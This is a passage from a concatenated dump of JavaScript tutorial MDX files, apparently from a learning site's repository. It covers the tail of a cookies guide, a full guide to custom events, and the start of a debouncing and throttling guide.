since Chrome 80) allows cookies on top-level navigation but blocks them on cross-site POST requests, and `None` sends cookies on all requests but requires the `Secure` attribute. </Accordion> <Accordion title="How do you delete a cookie in JavaScript?"> Set the cookie with `max-age=0` or an `expires` date in the past using the same `path` and `domain` attributes as when it was originally set. There is no direct delete method — this is a common source of bugs when the path or domain doesn't match the original cookie. </Accordion> <Accordion title="Are third-party cookies being deprecated?"> Yes. Safari has blocked third-party cookies by default since 2020, Firefox blocks them in Enhanced Tracking Protection, and Chrome is rolling out restrictions through 2024–2025. According to MDN, partitioned cookies (CHIPS) provide an alternative for legitimate cross-site use cases like embedded widgets. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="localStorage and sessionStorage" icon="database" href="/beyond/concepts/localstorage-sessionstorage"> Browser storage APIs for larger data that doesn't need to go to the server </Card> <Card title="HTTP and Fetch" icon="globe" href="/concepts/http-fetch"> Understanding HTTP requests and how cookies travel with them </Card> <Card title="IndexedDB" icon="database" href="/beyond/concepts/indexeddb"> Client-side database for complex data storage beyond cookies and localStorage </Card> <Card title="Error Handling" icon="triangle-exclamation" href="/concepts/error-handling"> Handling errors when cookies fail or are blocked </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="Using HTTP Cookies — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Cookies"> Comprehensive guide covering cookies from both server and browser perspectives. The authoritative resource for understanding cookie mechanics. </Card> <Card title="Document.cookie — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Document/cookie"> JavaScript API reference for reading and writing cookies. Includes security considerations and browser compatibility. </Card> <Card title="Set-Cookie Header — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Set-Cookie"> Complete reference for the Set-Cookie HTTP header and all its attributes. Essential for server-side cookie implementation. </Card> <Card title="Third-party Cookies — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/Privacy/Guides/Third-party_cookies"> Understanding third-party cookies, privacy implications, and the transition to a cookieless future. </Card> </CardGroup> --- ## Articles <CardGroup cols={2}> <Card title="Cookies, document.cookie — javascript.info" icon="newspaper" href="https://javascript.info/cookie"> Clear, beginner-friendly JavaScript tutorial with practical helper functions. Includes interactive examples you can run in the browser. </Card> <Card title="SameSite Cookies Explained — web.dev" icon="newspaper" href="https://web.dev/articles/samesite-cookies-explained"> Chrome team's definitive guide to SameSite attribute and CSRF protection. Essential reading for understanding modern cookie security. </Card> <Card title="Cookies and Security — Nicholas Zakas" icon="newspaper" href="https://humanwhocodes.com/blog/2009/05/12/cookies-and-security/"> Deep dive into cookie security from a web security expert. Covers attack vectors and defense strategies in detail. </Card> <Card title="HTTP Cookies Explained — freeCodeCamp" icon="newspaper" href="https://www.freecodecamp.org/news/everything-you-need-to-know-about-cookies-for-web-development/"> Comprehensive overview of cookies for web developers. Great starting point with practical examples and clear explanations. </Card> </CardGroup> --- ## Videos <CardGroup cols={2}> <Card title="What Is JWT and Why Should You Use JWT — Web Dev Simplified" icon="video" href="https://www.youtube.com/watch?v=7Q17ubqLfaM"> Kyle Cook explains JWT tokens and their relationship to cookie-based authentication. Great for understanding when to use cookies vs tokens for sessions. </Card> <Card title="Cookies vs localStorage vs sessionStorage — Fireship" icon="video" href="https://www.youtube.com/watch?v=GihQAC1I39Q"> Fast-paced comparison of browser storage options. Perfect for understanding when to use each storage mechanism. </Card> <Card title="HTTP Cookies Crash Course — Hussein Nasser" icon="video" href="https://www.youtube.com/watch?v=sovAIX4doOE"> Deep technical explanation of how cookies work at the HTTP level. Covers headers, attributes, and security in detail. </Card> </CardGroup> ================================================ FILE: docs/beyond/concepts/custom-events.mdx ================================================ --- title: "Custom Events in JavaScript" sidebarTitle: "Custom Events" description: "Learn JavaScript custom events. Create and dispatch CustomEvent, pass data with detail, and build event-driven architectures." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Events" "article:tag": "custom events, customevent, event dispatch, event-driven architecture, event detail" --- What if you could create your own events, just like `click` or `submit`? What if a shopping cart could announce "item added!" and any part of your app could listen and respond? How do you build components that communicate without knowing about each other? ```javascript // Create a custom event with data const event = new CustomEvent('userLoggedIn', { detail: { username: 'alice', timestamp: Date.now() } }) // Listen for the event anywhere in your app document.addEventListener('userLoggedIn', (e) => { console.log(`Welcome, ${e.detail.username}!`) }) // Dispatch the event document.dispatchEvent(event) // "Welcome, alice!" ``` The answer is **custom events**. They let you create your own event types, attach any data you want, and build applications where components communicate through events instead of direct function calls. <Info> **What you'll learn in this guide:** - Creating events with the [`CustomEvent`](https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent) constructor - Dispatching events with [`dispatchEvent()`](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/dispatchEvent) - Passing data through the [`detail`](https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent/detail) property - Event options: `bubbles`, `cancelable`, and when to use them - Building decoupled component communication - Differences between custom events and native browser events </Info> <Warning> **Prerequisites:** This guide assumes you understand [Event Bubbling and Capturing](/beyond/concepts/event-bubbling-capturing). If you're not familiar with how events propagate through the DOM, read that guide first. </Warning> --- ## What is a Custom Event? A **[custom event](https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent)** is a developer-defined event that you create, dispatch, and listen for in JavaScript. Unlike built-in events like `click` or `keydown` triggered by user actions, custom events are triggered programmatically using `dispatchEvent()`. The `CustomEvent` constructor extends the base `Event` interface, adding a `detail` property for passing data to listeners. [Can I Use data](https://caniuse.com/customevent) shows the `CustomEvent` constructor is supported in over 98% of browsers globally. <Note> Custom events work with any [`EventTarget`](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget), including DOM elements, the `document`, `window`, and even custom objects that extend `EventTarget`. </Note> --- ## The Radio Station Analogy Think of custom events like a radio broadcast: 1. **The radio station (dispatcher)** broadcasts a message on a specific frequency 2. **Anyone with a radio (listeners)** tuned to that frequency receives the message 3. **The station doesn't know who's listening** - it just broadcasts 4. **Listeners don't need to know where the station is** - they just tune in ``` ┌─────────────────────────────────────────────────────────────────────────────┐ │ CUSTOM EVENTS: THE RADIO ANALOGY │ ├─────────────────────────────────────────────────────────────────────────────┤ │ │ │ BROADCASTING (Dispatching) │ │ ───────────────────────── │ │ │ │ ┌─────────────┐ │ │ │ STATION │ ──── dispatchEvent() ────► 📻 "cart:updated" │ │ │ (Element) │ frequency (event type) │ │ └─────────────┘ │ │ │ │ LISTENING (Subscribing) │ │ ─────────────────────── │ │ │ │ 📻 "cart:updated" │ │ │ │ │ ┌─────────┼─────────┐ │ │ ▼ ▼ ▼ │ │ ┌────────┐ ┌────────┐ ┌────────┐ │ │ │ Header │ │ Badge │ │ Total │ All tuned to same frequency │ │ │Counter │ │ Icon │ │Display │ All receive the broadcast │ │ └────────┘ └────────┘ └────────┘ │ │ │ │ The station doesn't know (or care) who's listening. │ │ Listeners don't know (or care) where the broadcast comes from. │ │ │ └─────────────────────────────────────────────────────────────────────────────┘ ``` This decoupling is the superpower of custom events. As MDN's guide on [creating and triggering events](https://developer.mozilla.org/en-US/docs/Web/Events/Creating_and_triggering_events) explains, this pub/sub pattern lets components communicate without importing each other or knowing each other exists. --- ## Creating Custom Events ### The CustomEvent Constructor To create a custom event, use the [`CustomEvent`](https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent/CustomEvent) constructor: ```javascript const event = new CustomEvent('eventName', options) ``` The constructor takes two arguments: 1. **`type`** (required) - A string for the event name (case-sensitive) 2. **`options`** (optional) - An object with configuration ```javascript // Simplest custom event - just a name const simpleEvent = new CustomEvent('hello') // Custom event with data const dataEvent = new CustomEvent('userAction', { detail: { action: 'click', target: 'button' } }) // Custom event with all options const fullEvent = new CustomEvent('formSubmit', { detail: { formId: 'login', data: { user: 'alice' } }, bubbles: true, // Event bubbles up the DOM cancelable: true // preventDefault() will work }) ``` ### Event Options Explained | Option | Default | Description | |--------|---------|-------------| | `detail` | `null` | Any data you want to pass to listeners | | `bubbles` | `false` | If `true`, event propagates up through ancestors | | `cancelable` | `false` | If `true`, `preventDefault()` can cancel the event | | `composed` | `false` | If `true`, event can cross shadow DOM boundaries | <Tip> **Naming convention:** Use lowercase with colons or hyphens for namespacing: `cart:updated`, `user:logged-in`, `modal-opened`. This prevents collision with future browser events and makes your events easy to identify. </Tip> --- ## Passing Data with detail The `detail` property is what makes `CustomEvent` special. It can hold any JavaScript value: ```javascript // Primitive values new CustomEvent('count', { detail: 42 }) new CustomEvent('message', { detail: 'Hello!' }) // Objects (most common) new CustomEvent('userLoggedIn', { detail: { userId: 123, username: 'alice', timestamp: Date.now() } }) // Arrays new CustomEvent('itemsSelected', { detail: ['item1', 'item2', 'item3'] }) // Even functions (though rarely needed) new CustomEvent('callback', { detail: { getText: () => document.title } }) ``` ### Accessing detail in Listeners The `detail` property is read-only and accessed through the event object: ```javascript document.addEventListener('userLoggedIn', (event) => { // Access the detail property console.log(event.detail.username) // "alice" console.log(event.detail.userId) // 123 // detail is read-only - this won't work event.detail = { different: 'data' } // Silently fails // But you CAN mutate the object's properties (not recommended) event.detail.username = 'bob' // Works, but avoid this }) ``` <Warning> The `detail` property itself is read-only, but if it contains an object, that object's properties can be mutated. Avoid mutating `event.detail` in listeners as it can cause confusing bugs when multiple listeners handle the same event. </Warning> --- ## Dispatching Events ### The dispatchEvent() Method To trigger a custom event, call [`dispatchEvent()`](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/dispatchEvent) on any element: ```javascript const button = document.querySelector('#myButton') // Create the event const event = new CustomEvent('customClick', { detail: { clickCount: 5 } }) // Dispatch it on the button button.dispatchEvent(event) ``` ### Dispatching on Different Targets You can dispatch events on any `EventTarget`: ```javascript // On a specific element document.querySelector('#cart').dispatchEvent(event) // On the document (global events) document.dispatchEvent(event) // On window (also global) window.dispatchEvent(event) // On any element someElement.dispatchEvent(event) ``` <Tabs> <Tab title="Element-Level Events"> ```javascript // Good for component-specific events const cart = document.querySelector('#shopping-cart') cart.addEventListener('cart:updated', (e) => { console.log('Cart changed:', e.detail.items) }) // Later, when cart changes... cart.dispatchEvent(new CustomEvent('cart:updated', { detail: { items: ['apple', 'banana'] } })) ``` </Tab> <Tab title="Document-Level Events"> ```javascript // Good for app-wide events document.addEventListener('app:themeChanged', (e) => { console.log('Theme is now:', e.detail.theme) }) // From anywhere in the app... document.dispatchEvent(new CustomEvent('app:themeChanged', { detail: { theme: 'dark' } })) ``` </Tab> </Tabs> ### Important: dispatchEvent is Synchronous Unlike native browser events (which are processed asynchronously through the event loop), `dispatchEvent()` is **synchronous**. As the [W3C DOM specification](https://dom.spec.whatwg.org/#dom-eventtarget-dispatchevent) states, dispatching is a synchronous operation — all listeners execute immediately before `dispatchEvent()` returns: ```javascript console.log('1: Before dispatch') document.addEventListener('myEvent', () => { console.log('2: Inside listener') }) document.dispatchEvent(new CustomEvent('myEvent')) console.log('3: After dispatch') // Output: // 1: Before dispatch // 2: Inside listener <-- Runs immediately! // 3: After dispatch ``` <Note> This synchronous behavior means you can use the return value of `dispatchEvent()` to check if any listener called `preventDefault()`. </Note> --- ## Listening for Custom Events Use [`addEventListener()`](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener) to listen for custom events, just like native events: ```javascript // Add a listener element.addEventListener('myCustomEvent', (event) => { console.log('Received:', event.detail) }) // You can add multiple listeners for the same event element.addEventListener('myCustomEvent', handler1) element.addEventListener('myCustomEvent', handler2) // Both will fire // Remove a listener when no longer needed element.removeEventListener('myCustomEvent', handler1) ``` <Warning> **Don't use `on` properties for custom events!** Unlike built-in events, custom events don't have corresponding `onevent` properties. `element.onmyCustomEvent` won't work - you must use `addEventListener()`. ```javascript // ✗ This doesn't work element.onmyCustomEvent = handler // undefined, does nothing // ✓ This works element.addEventListener('myCustomEvent', handler) ``` </Warning> --- ## Event Bubbling with Custom Events By default, custom events **don't bubble**. Set `bubbles: true` if you want the event to propagate up through ancestor elements: ```javascript // Without bubbles (default) - only direct listeners receive the event const nonBubblingEvent = new CustomEvent('test', { detail: { value: 1 } }) // With bubbles - ancestors can also listen const bubblingEvent = new CustomEvent('test', { detail: { value: 2 }, bubbles: true }) ``` ### Bubbling Example ```javascript // HTML: <div id="parent"><button id="child">Click</button></div> const parent = document.querySelector('#parent') const child = document.querySelector('#child') // Listen on parent parent.addEventListener('customClick', (e) => { console.log('Parent heard:', e.detail.message) }) // Dispatch from child WITHOUT bubbles child.dispatchEvent(new CustomEvent('customClick', { detail: { message: 'no bubbles' } })) // Parent hears nothing! // Dispatch from child WITH bubbles child.dispatchEvent(new CustomEvent('customClick', { detail: { message: 'with bubbles' }, bubbles: true })) // Parent logs: "Parent heard: with bubbles" ``` <Tip> Use `bubbles: true` when you want ancestor elements to be able to listen for events from their descendants. This is essential for [Event Delegation](/beyond/concepts/event-delegation) patterns. </Tip> --- ## Canceling Custom Events If you create an event with `cancelable: true`, listeners can call `preventDefault()` to signal that the default action should be canceled: ```javascript const button = document.querySelector('#deleteButton') // Listener can prevent the action document.addEventListener('item:delete', (event) => { if (!confirm('Are you sure you want to delete?')) { event.preventDefault() // Signal cancellation } }) // Dispatch and check if it was canceled function deleteItem(itemId) { const event = new CustomEvent('item:delete', { detail: { itemId }, cancelable: true // Required for preventDefault to work! }) const wasAllowed = button.dispatchEvent(event) if (wasAllowed) { // No listener called preventDefault console.log('Deleting item:', itemId) } else { // A listener called preventDefault console.log('Deletion was canceled') } } ``` ### Return Value of dispatchEvent `dispatchEvent()` returns: - `true` if no listener called `preventDefault()` - `false` if any listener called `preventDefault()` (and event was `cancelable`) ```javascript const event = new CustomEvent('action', { cancelable: true }) element.addEventListener('action', (e) => { e.preventDefault() }) const result = element.dispatchEvent(event) console.log(result) // false - event was canceled ``` --- ## Component Communication Pattern Custom events shine when building decoupled components that need to communicate: ```javascript // Shopping Cart Component class ShoppingCart { constructor(element) { this.element = element this.items = [] } addItem(item) { this.items.push(item) // Announce the change - anyone can listen! this.element.dispatchEvent(new CustomEvent('cart:itemAdded', { detail: { item, totalItems: this.items.length }, bubbles: true })) } removeItem(itemId) { this.items = this.items.filter(i => i.id !== itemId) this.element.dispatchEvent(new CustomEvent('cart:itemRemoved', { detail: { itemId, totalItems: this.items.length }, bubbles: true })) } } // Header Badge - listens for cart events class CartBadge { constructor(element) { this.element = element // Listen for ANY cart event that bubbles up document.addEventListener('cart:itemAdded', (e) => { this.update(e.detail.totalItems) }) document.addEventListener('cart:itemRemoved', (e) => { this.update(e.detail.totalItems) }) } update(count) { this.element.textContent = count } } // These components don't import each other - they communicate through events! ``` This pattern keeps components loosely coupled. The cart doesn't know the badge exists, and the badge doesn't know where cart events come from. --- ## Custom Events vs Native Events ### The isTrusted Property One key difference: custom events have `event.isTrusted` set to `false`: ```javascript // Native click from user button.addEventListener('click', (e) => { console.log(e.isTrusted) // true - real user action }) // Custom event from code button.addEventListener('customClick', (e) => { console.log(e.isTrusted) // false - script-generated }) button.dispatchEvent(new CustomEvent('customClick')) ``` ### Key Differences Table | Feature | Native Events | Custom Events | |---------|--------------|---------------| | Triggered by | Browser/User | Your code | | `isTrusted` | `true` | `false` | | Processing | Asynchronous | Synchronous | | `on*` properties | Yes (`onclick`) | No | | `detail` property | No | Yes | | Default `bubbles` | Varies by event | `false` | --- ## Common Mistakes <AccordionGroup> <Accordion title="1. Forgetting bubbles: true"> The most common mistake is expecting events to bubble when they don't: ```javascript // ✗ Won't bubble - parent won't hear it child.dispatchEvent(new CustomEvent('notify', { detail: { message: 'hello' } })) // ✓ Will bubble up to ancestors child.dispatchEvent(new CustomEvent('notify', { detail: { message: 'hello' }, bubbles: true })) ``` </Accordion> <Accordion title="2. Using onclick for custom events"> Custom events don't have corresponding `on*` properties: ```javascript // ✗ Does nothing - onmyEvent doesn't exist element.onmyEvent = () => console.log('fired') // ✓ Use addEventListener instead element.addEventListener('myEvent', () => console.log('fired')) ``` </Accordion> <Accordion title="3. Dispatching on the wrong element"> Events only reach listeners on the target and (if bubbling) its ancestors: ```javascript // Listener on #sidebar sidebar.addEventListener('update', handler) // ✗ Dispatching on #header - sidebar won't hear it header.dispatchEvent(new CustomEvent('update')) // ✓ Dispatch on document for truly global events document.dispatchEvent(new CustomEvent('update')) ``` </Accordion> <Accordion title="4. Forgetting cancelable: true"> `preventDefault()` silently does nothing without `cancelable: true`: ```javascript // ✗ preventDefault won't work const event = new CustomEvent('submit') element.addEventListener('submit', e => e.preventDefault()) element.dispatchEvent(event) // Returns true even with preventDefault! // ✓ Add cancelable: true const event = new CustomEvent('submit', { cancelable: true }) ``` </Accordion> <Accordion title="5. Assuming asynchronous execution"> Unlike native events, `dispatchEvent()` is synchronous: ```javascript let value = 'before' element.addEventListener('sync', () => { value = 'inside' }) element.dispatchEvent(new CustomEvent('sync')) // value is 'inside' immediately - not 'before'! console.log(value) // "inside" ``` </Accordion> </AccordionGroup> --- ## Best Practices <AccordionGroup> <Accordion title="1. Use namespaced event names"> Prefix event names to avoid collisions and improve clarity: ```javascript // ✓ Good - clear namespace new CustomEvent('cart:itemAdded') new CustomEvent('modal:opened') new CustomEvent('user:loggedIn') // ✗ Avoid - could conflict with future browser events new CustomEvent('update') new CustomEvent('change') ``` </Accordion> <Accordion title="2. Always include relevant data in detail"> Pass enough information for listeners to act without needing other context: ```javascript // ✗ Not enough context new CustomEvent('item:deleted', { detail: { success: true } }) // ✓ Includes all relevant data new CustomEvent('item:deleted', { detail: { itemId: 123, itemName: 'Widget', deletedAt: Date.now(), remainingItems: 5 } }) ``` </Accordion> <Accordion title="3. Document your custom events"> Treat custom events like an API - document what they do and what data they carry: ```javascript /** * Fired when an item is added to the cart * @event cart:itemAdded * @type {CustomEvent} * @property {Object} detail * @property {string} detail.itemId - The ID of the added item * @property {string} detail.itemName - The name of the item * @property {number} detail.quantity - Quantity added * @property {number} detail.totalItems - New total items in cart */ ``` </Accordion> <Accordion title="4. Clean up event listeners"> Remove listeners when components are destroyed to prevent memory leaks: ```javascript class Component { constructor() { this.handleEvent = this.handleEvent.bind(this) document.addEventListener('app:update', this.handleEvent) } handleEvent(e) { // Handle the event } destroy() { // Clean up! document.removeEventListener('app:update', this.handleEvent) } } ``` </Accordion> </AccordionGroup> --- ## Key Takeaways <Info> **The key things to remember about Custom Events:** 1. **Create with `new CustomEvent(type, options)`** - The constructor takes an event name and optional configuration object 2. **Pass data with `detail`** - The `detail` property can hold any JavaScript value and is accessible in listeners via `event.detail` 3. **Dispatch with `dispatchEvent()`** - Call this method on any element to fire the event; it executes synchronously 4. **Set `bubbles: true` for propagation** - By default, custom events don't bubble; enable it explicitly if needed 5. **Set `cancelable: true` for `preventDefault()`** - Without this option, `preventDefault()` silently does nothing 6. **Use `addEventListener()`, not `on*`** - Custom events don't have corresponding `onclick`-style properties 7. **Custom events have `isTrusted: false`** - This distinguishes them from real user-initiated events 8. **Dispatch returns whether event was canceled** - `dispatchEvent()` returns `false` if any listener called `preventDefault()` 9. **Use namespaced event names** - Prefix with component/feature name like `cart:updated` or `modal:closed` 10. **Events enable loose coupling** - Components can communicate without importing or knowing about each other </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: What's the output?"> ```javascript const event = new CustomEvent('test', { detail: { value: 42 } }) console.log(event.detail.value) console.log(event.isTrusted) ``` **Answer:** ``` 42 false ``` The `detail.value` is `42` as set in the constructor. `isTrusted` is `false` because the event was created programmatically, not by a real user action. </Accordion> <Accordion title="Question 2: Will the parent hear this event?"> ```javascript // HTML: <div id="parent"><button id="child">Click</button></div> parent.addEventListener('notify', () => console.log('Parent heard it')) child.dispatchEvent(new CustomEvent('notify', { detail: { message: 'hello' } })) ``` **Answer:** No, the parent will not hear the event. Custom events have `bubbles: false` by default. To make it bubble up to the parent, add `bubbles: true`: ```javascript child.dispatchEvent(new CustomEvent('notify', { detail: { message: 'hello' }, bubbles: true })) ``` </Accordion> <Accordion title="Question 3: What does dispatchEvent return here?"> ```javascript const event = new CustomEvent('action', { cancelable: true }) element.addEventListener('action', (e) => { e.preventDefault() }) const result = element.dispatchEvent(event) console.log(result) ``` **Answer:** `false` `dispatchEvent()` returns `false` when any listener calls `preventDefault()` on a cancelable event. This is useful for checking if an action should proceed. </Accordion> <Accordion title="Question 4: Why doesn't this work?"> ```javascript element.oncustomEvent = () => console.log('Fired!') element.dispatchEvent(new CustomEvent('customEvent')) ``` **Answer:** Custom events don't have corresponding `on*` properties like native events do. The `oncustomEvent` property doesn't exist and is just set to a function that's never called. Use `addEventListener()` instead: ```javascript element.addEventListener('customEvent', () => console.log('Fired!')) element.dispatchEvent(new CustomEvent('customEvent')) ``` </Accordion> <Accordion title="Question 5: What's the order of console logs?"> ```javascript console.log('1') document.addEventListener('test', () => console.log('2')) document.dispatchEvent(new CustomEvent('test')) console.log('3') ``` **Answer:** ``` 1 2 3 ``` Unlike native browser events, `dispatchEvent()` is **synchronous**. The event handler runs immediately when `dispatchEvent()` is called, before the next line executes. </Accordion> <Accordion title="Question 6: How do you check if a custom event was canceled?"> **Answer:** 1. Create the event with `cancelable: true` 2. Check the return value of `dispatchEvent()` ```javascript const event = new CustomEvent('beforeDelete', { detail: { itemId: 123 }, cancelable: true }) element.addEventListener('beforeDelete', (e) => { if (!userConfirmed) { e.preventDefault() } }) const shouldProceed = element.dispatchEvent(event) if (shouldProceed) { deleteItem(123) } else { console.log('Deletion was canceled') } ``` </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="How do I create a custom event in JavaScript?"> Use the `CustomEvent` constructor: `new CustomEvent('eventName', { detail: data })`. The `detail` property can hold any JavaScript value — objects, arrays, or primitives. Then dispatch it on any element with `element.dispatchEvent(event)`. </Accordion> <Accordion title="Do custom events bubble like native events?"> No — custom events do not bubble by default. You must explicitly set `bubbles: true` in the options object to enable bubbling. Without it, only listeners directly on the dispatching element will receive the event, as documented in the W3C DOM specification. </Accordion> <Accordion title="What is the difference between Event and CustomEvent?"> `CustomEvent` extends `Event` with one key addition: the `detail` property for passing arbitrary data. If you don't need to send data to listeners, `new Event('name')` works fine. MDN recommends `CustomEvent` when you need to communicate data alongside the event. </Accordion> <Accordion title="Is dispatchEvent synchronous or asynchronous?"> `dispatchEvent()` is synchronous — all listeners execute immediately before the method returns. This differs from native browser events, which are processed asynchronously through the event loop. You can use the return value of `dispatchEvent()` to check if any listener called `preventDefault()`. </Accordion> <Accordion title="Can I use onclick-style properties for custom events?"> No. Custom events do not have corresponding `on*` properties like native events. `element.onmyEvent = handler` does nothing — you must use `addEventListener()` to listen for custom events. This is a common mistake MDN specifically warns about. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Event Bubbling & Capturing" icon="arrow-up" href="/beyond/concepts/event-bubbling-capturing"> Understand how events propagate through the DOM tree </Card> <Card title="Event Delegation" icon="hand-pointer" href="/beyond/concepts/event-delegation"> Handle events efficiently using bubbling and a single listener </Card> <Card title="DOM Manipulation" icon="code" href="/concepts/dom"> Learn how to work with DOM elements and events </Card> <Card title="Higher-Order Functions" icon="layer-group" href="/concepts/higher-order-functions"> Functions that work with other functions - useful for event handlers </Card> </CardGroup> --- ## References <CardGroup cols={2}> <Card title="CustomEvent - MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent"> Official reference for the CustomEvent interface, constructor, and detail property </Card> <Card title="CustomEvent() Constructor - MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent/CustomEvent"> Detailed syntax and parameters for creating CustomEvent instances </Card> <Card title="dispatchEvent() - MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/dispatchEvent"> How to dispatch events on EventTarget objects with synchronous execution </Card> <Card title="Creating and Dispatching Events - MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model/Events"> Comprehensive MDN guide covering event creation, bubbling, and registration </Card> </CardGroup> --- ## Articles <CardGroup cols={2}> <Card title="Dispatching Custom Events - javascript.info" icon="newspaper" href="https://javascript.info/dispatch-events"> Comprehensive tutorial covering Event constructor, CustomEvent, bubbling, and synchronous dispatch behavior with interactive examples </Card> <Card title="Custom Events in JavaScript - LogRocket" icon="newspaper" href="https://blog.logrocket.com/custom-events-in-javascript-a-complete-guide/"> Complete guide to custom events covering creation, dispatching, and real-world component communication patterns </Card> <Card title="Custom Events - David Walsh Blog" icon="newspaper" href="https://davidwalsh.name/customevent"> Concise explanation of CustomEvent with clear code examples and browser compatibility notes </Card> <Card title="JavaScript Custom Events Tutorial" icon="newspaper" href="https://www.javascripttutorial.net/javascript-dom/javascript-custom-events/"> Step-by-step tutorial covering CustomEvent basics with practical examples for DOM interactions </Card> </CardGroup> --- ## Videos <CardGroup cols={2}> <Card title="Custom Events in JavaScript - Web Dev Simplified" icon="video" href="https://www.youtube.com/watch?v=DzZXRvk3EGg"> Clear 10-minute explanation of creating, dispatching, and listening for custom events with practical examples </Card> <Card title="JavaScript Custom Events - dcode" icon="video" href="https://www.youtube.com/watch?v=1onVnFfVxBI"> Hands-on tutorial showing how to build decoupled component communication using CustomEvent </Card> <Card title="Create Custom Events in JavaScript - Florin Pop" icon="video" href="https://www.youtube.com/watch?v=jK9O-CKUE60"> Quick beginner-friendly overview of the CustomEvent API with live coding demonstrations </Card> </CardGroup> ================================================ FILE: docs/beyond/concepts/debouncing-throttling.mdx ================================================ --- title: "Debouncing & Throttling in JS" sidebarTitle: "Debouncing & Throttling: Control Event Frequency" description: "Learn debouncing and throttling in JavaScript. Optimize event handlers, reduce API calls, and implement both patterns from scratch with real-world examples." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Memory & Performance" "article:tag": "debouncing throttling, event optimization, api calls, performance patterns, event handlers" --- What happens when a user types in a search box at 60 characters per minute? Or when they scroll through your page, triggering hundreds of events per second? Without proper handling, your application can grind to a halt, making unnecessary API calls or blocking the main thread with expensive computations. ```javascript // Without debouncing: 60 API calls per minute while typing searchInput.addEventListener('input', (e) => { fetchSearchResults(e.target.value) // Called on EVERY keystroke! }) // With debouncing: 1 API call after user stops typing searchInput.addEventListener('input', debounce((e) => { fetchSearchResults(e.target.value) // Called once, 300ms after last keystroke }, 300)) ``` **[Debouncing](https://developer.mozilla.org/en-US/docs/Glossary/Debounce)** and **[throttling](https://developer.mozilla.org/en-US/docs/Glossary/Throttle)** are two techniques that control how often a function can execute. According to MDN, both patterns are essential for handling high-frequency events like scrolling, resizing, typing, and mouse movement without destroying your app's performance. The scroll event alone can fire hundreds of times per second on modern browsers. <Info> **What you'll learn in this guide:** - The difference between debouncing and throttling - When to use debounce vs throttle (with decision flowchart) - How to implement both patterns from scratch - Leading edge vs trailing edge execution - Real-world use cases: search, scroll, resize, button clicks - How to use Lodash for production-ready implementations - Common mistakes and how to avoid them </Info> <Warning> **Prerequisite:** This guide assumes you understand [Closures](/concepts/scope-and-closures) and [Higher-Order Functions](/concepts/higher-order-functions). Both debounce and throttle are higher-order functions that use closures to maintain state between calls. </Warning> --- ## What is Debouncing? **Debouncing** delays the execution of a function until a specified time has passed since the last call. If the function is called again before the delay expires, the timer resets. The function only executes when the calls stop coming for the specified duration. Under the hood, debounce uses `setTimeout` to schedule the [callback](/concepts/callbacks) after the delay. Think of debouncing like an elevator door. When someone approaches, the door stays open. If another person arrives, the timer resets and the door stays open longer. The door only closes after no one has approached for a few seconds. The elevator optimizes by waiting for all passengers before moving. ```javascript function debounce(fn, delay) { let timeoutId return function(...args) { // Clear any existing timer clearTimeout(timeoutId) // Set a new timer timeoutId = setTimeout(() => { fn.apply(this, args) }, delay) } } // Usage: Only search after user stops typing for 300ms const debouncedSearch = debounce((query) => { console.log('Searching for:', query) fetchSearchResults(query) }, 300) input.addEventListener('input', (e) => { debouncedSearch(e.target.value) }) ``` ### How Debounce Works Step by Step Let's trace through what happens when a user types "hello" quickly: ``` User types: h e l l o [stops] │ │ │ │ │ │ Time (ms): 0 50 100 150 200 500 │ │ │ │ │ │ Timer: start reset reset reset reset FIRES! │ │ │ │ │ │ └── fn('hello') executes ``` 1. User types "h" — timer starts (300ms countdown) 2. User types "e" (50ms later) — timer resets (new 300ms countdown) 3. User types "l" (100ms later) — timer resets again 4. User types another "l" (150ms later) — timer resets again 5. User types "o" (200ms later) — timer resets again 6. User stops typing — timer expires after 300ms 7. **Function executes once** with "hello" <CardGroup cols={2}> <Card title="Debounce — MDN Glossary" icon="book" href="https://developer.mozilla.org/en-US/docs/Glossary/Debounce"> Official MDN definition of debouncing with examples </Card> <Card title="setTimeout — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/setTimeout"> The timer API that powers debounce implementations </Card> </CardGroup> --- ## What is Throttling? **Throttling** ensures a function executes at most once within a specified time interval. Unlike debouncing, throttling guarantees regular execution during continuous events — it doesn't wait for events to stop. Think of throttling like a water faucet with a flow restrictor. No matter how much you turn the handle, water only flows at a maximum rate. The restrictor ensures consistent output regardless of input pressure. ```javascript function throttle(fn, interval) { let lastTime = 0 return function(...args) { const now = Date.now() // Only execute if enough time has passed if (now - lastTime >= interval) { lastTime = now fn.apply(this, args) } } } // Usage: Update position at most every 100ms while scrolling const throttledScroll = throttle(() => { console.log('Scroll position:', window.scrollY) updateScrollIndicator() }, 100) window.addEventListener('scroll', throttledScroll) ``` ### How Throttle Works Step by Step Let's trace through what happens during continuous scrolling: ``` Scroll events: ─●──●──●──●──●──●──●──●──●──●──●──●──●──●──●─► │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ Time (ms): 0 10 20 30 40 50 60 70 80 90 100 110 120... │ │ │ Executes: ✓ (first call) ✓ (100ms) ✓ (200ms) └──────────────────────────┴──────────────┴──► ``` 1. First scroll event at 0ms — function executes immediately 2. 